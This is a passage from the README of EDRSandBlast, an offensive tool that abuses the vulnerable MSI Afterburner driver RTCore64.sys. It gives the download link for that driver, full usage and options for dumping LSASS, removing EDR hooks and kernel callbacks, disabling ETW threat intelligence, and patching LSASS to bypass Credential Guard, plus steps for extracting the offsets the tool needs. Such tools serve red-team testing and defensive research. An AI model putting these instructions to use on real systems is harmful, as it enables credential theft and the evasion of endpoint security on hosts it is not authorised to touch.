[original research blog post](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)
|
||||||
|
for more details on this technique.
|
||||||
|
|
||||||
|
`EDRSandBlast` simply make the original PoC a little more opsec friendly and
|
||||||
|
provide support for a number of `wdigest.dll` versions (through hardcoded
|
||||||
|
offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`).
|
||||||
|
|
||||||
|
### ntoskrnl and wdigest offsets
|
||||||
|
|
||||||
|
The required `ntoskrnl.exe` and `wdigest.dll` offsets (mentioned above) are
|
||||||
|
extracted using `r2pipe`, as implemented in the `ExtractOffsets.py` `Python`
|
||||||
|
script. In order to support more Windows versions, the `ntoskrnl.exe` and
|
||||||
|
`wdigest.dll` referenced by [Winbindex](https://winbindex.m417z.com/) can be
|
||||||
|
automatically downloaded (and their offsets extracted). This allow to extract
|
||||||
|
offsets from that files which appear in Windows update packages (to date 350+
|
||||||
|
`ntoskrnl.exe` and 30+ `wdigest.dll` versions).
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
The vulnerable `RTCore64.sys` driver can be retrieved at:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip
|
||||||
|
```
|
||||||
|
|
||||||
|
### Quick usage
|
||||||
|
|
||||||
|
```
|
||||||
|
EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Options
|
||||||
|
|
||||||
|
```
|
||||||
|
-h | --help Show this help message and exit.
|
||||||
|
-v | --verbose Enable a more verbose output.
|
||||||
|
|
||||||
|
Actions mode:
|
||||||
|
|
||||||
|
audit Display the user-land hooks and / or Kernel callbacks with out taking actions.
|
||||||
|
dump Dump the LSASS process, by default as 'lsass' in the current directory or at the
|
||||||
|
specified file using -o | --output <DUMP_FILE>.
|
||||||
|
cmd Open a cmd.exe prompt.
|
||||||
|
credguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if
|
||||||
|
Credential Guard is enabled on the host. No kernel-lank actions required.
|
||||||
|
|
||||||
|
--usermode Perform user-land operations (DLL unhooking).
|
||||||
|
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).
|
||||||
|
|
||||||
|
--unhook-method <N>
|
||||||
|
Choose the userland un-hooking technique, from the following:
|
||||||
|
|
||||||
|
1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all
|
||||||
|
present userland hooks.
|
||||||
|
2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by
|
||||||
|
allocating an executable trampoline jumping over the hook, and remove all present
|
||||||
|
userland hooks.
|
||||||
|
3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'
|
||||||
|
(i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland
|
||||||
|
hooks.
|
||||||
|
4 Loads an additional version of ntdll library into memory, and use the (hopefully
|
||||||
|
unmonitored) version of NtProtectVirtualMemory present in this library to remove all
|
||||||
|
present userland hooks.
|
||||||
|
5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,
|
||||||
|
and uses it to remove all detected hooks
|
||||||
|
|
||||||
|
Other options:
|
||||||
|
|
||||||
|
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host
|
||||||
|
Default to automatically unsinstall the driver.
|
||||||
|
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.
|
||||||
|
Default to restore the callbacks.
|
||||||
|
|
||||||
|
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.
|
||||||
|
Default to 'RTCore64.sys' in the current directory.
|
||||||
|
|
||||||
|
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.
|
||||||
|
Default to 'NtoskrnlOffsets.csv' in the current directory.
|
||||||
|
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets
|
||||||
|
(only for the 'credguard' mode).
|
||||||
|
Default to 'WdigestOffsets.csv' in the current directory.
|
||||||
|
|
||||||
|
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.
|
||||||
|
Default to 'lsass' in the current directory.
|
||||||
|
```
|
||||||
|
|
||||||
|
### Build
|
||||||
|
|
||||||
|
`EDRSandBlast` (x64 only) was built on Visual Studio 2019 (Windows SDK
|
||||||
|
Version: `10.0.19041.0` and Plateform Toolset: `Visual Studio 2019 (v142)`).
|
||||||
|
|
||||||
|
### ExtractOffsets.py usage
|
||||||
|
|
||||||
|
Note that `ExtractOffsets.py` has only be tested on Windows.
|
||||||
|
|
||||||
|
```
|
||||||
|
# Installation of Python dependencies
|
||||||
|
pip.exe install -m .\requirements.txt
|
||||||
|
|
||||||
|
# Script usage
|
||||||
|
ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode
|
||||||
|
|
||||||
|
positional arguments:
|
||||||
|
mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
-i INPUT, --input INPUT
|
||||||
|
Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from.
|
||||||
|
If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.
|
||||||
|
-o OUTPUT, --output OUTPUT
|
||||||
|
CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be
|
||||||
|
downloaded / analyzed.
|
||||||
|
Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.
|
||||||
|
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Acknowledgements
|
||||||
|
|
||||||
|
- Kernel callbacks enumeration and removal:
|
||||||
|
https://github.com/br-sn/CheekyBlinder
|
||||||
|
|
||||||
|
- Kernel memory Read / Write primitives through the vulnerable
|
||||||
|
`Micro-Star MSI Afterburner` driver:
|
||||||
|
https://github.com/Barakat/CVE-2019-16098/
|
||||||
|
|
||||||
|
- Disabling of the ETW Threat Intelligence provider:
|
||||||
|
https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||||
|
|
||||||
|
- Driver install / uninstall: https://github.com/gentilkiwi/mimikatz
|
||||||
|
|
||||||
|
- Initial list of `EDR` drivers names:
|
||||||
|
https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
|
||||||
|
|
||||||
|
- Credential Guard bypass by re-enabling `Wdigest` through `LSASS` memory
|
||||||
|
patching: https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||||
|
|
||||||
|
|
||||||
|
## Authors
|
||||||
|
|
||||||
|
[Thomas DIOT (Qazeer)](https://github.com/Qazeer/)
|
||||||
|
[Maxime MEIGNAN (themaks)](https://github.com/themaks)
|
||||||
|
|
||||||
|
## Licence
|
||||||
|
|
||||||
|
CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
|
||||||
Reference in New Issue
Block a user